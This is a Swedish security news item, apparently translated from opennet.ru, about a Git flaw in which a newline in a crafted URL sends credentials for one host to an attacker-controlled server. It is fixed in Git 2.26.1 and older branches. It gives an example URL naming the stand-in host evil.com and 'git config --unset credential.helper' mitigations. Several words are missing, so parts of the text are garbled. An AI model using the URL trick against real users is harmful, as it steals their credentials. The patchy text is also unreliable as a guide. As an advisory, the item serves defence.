ÄtgÀrdande versioner av det distribuerade systemet för hantering av kÀllkod Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 och 2.17.4, dÀr () i hanteraren ««, vilket leder till att autentiseringsuppgifter skickas till fel vÀrd nÀr en git-klient ansluter till ett repository via en speciellt formaterad URL som innehÄller en radbrytning. SÄrbarheten kan anvÀndas för att skicka autentiseringsuppgifter frÄn en annan vÀrd till en server som kontrolleras av angriparen.
NÀr en URL anges som «https://evil.com?host=github.com/» kommer autentiseringshanteraren vid anslutning till vÀrden evil.com att överföra autentiseringsparametrarna som anges för github.com. Problemet uppstÄr vid utförande av sÄdana operationer som «git clone», inklusive behandling av URL:er för submoduler (till exempel kommer vid körning av «git submodule update» URL:er som anges i .gitmodules-filen frÄn klientens repository att bearbetas automatiskt). Den största faran frÄn sÄrbarheten uppstÄr i situationer dÀr en utvecklare klonar ett repository utan att se URL:en, till exempel vid arbete med submoduler, eller i system som utför automatiska ÄtgÀrder, till exempel i paketbyggnadsskript.
För att stoppa sÄrbarheten i de nya versionerna överföringen av radbrytningssymbolen i alla vÀrden som överförs via autentiseringsprotokollet. För distributioner kan man följa utgivningen av paketuppdateringar pÄ sidorna , , , , , , .
Som en tillfÀllig lösning för att blockera problemet att inte anvÀnda credential.helper vid Ätkomst till publika repositories och att inte anvÀnda «git clone» i lÀget «--recurse-submodules» med osÀkra repositories. För att helt inaktivera hanteraren credential.helper, som utför och hÀmtning av lösenord frÄn , skyddad eller fil med lösenord, kan kommandon anvÀndas:
git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper
KĂ€lla: opennet.ru
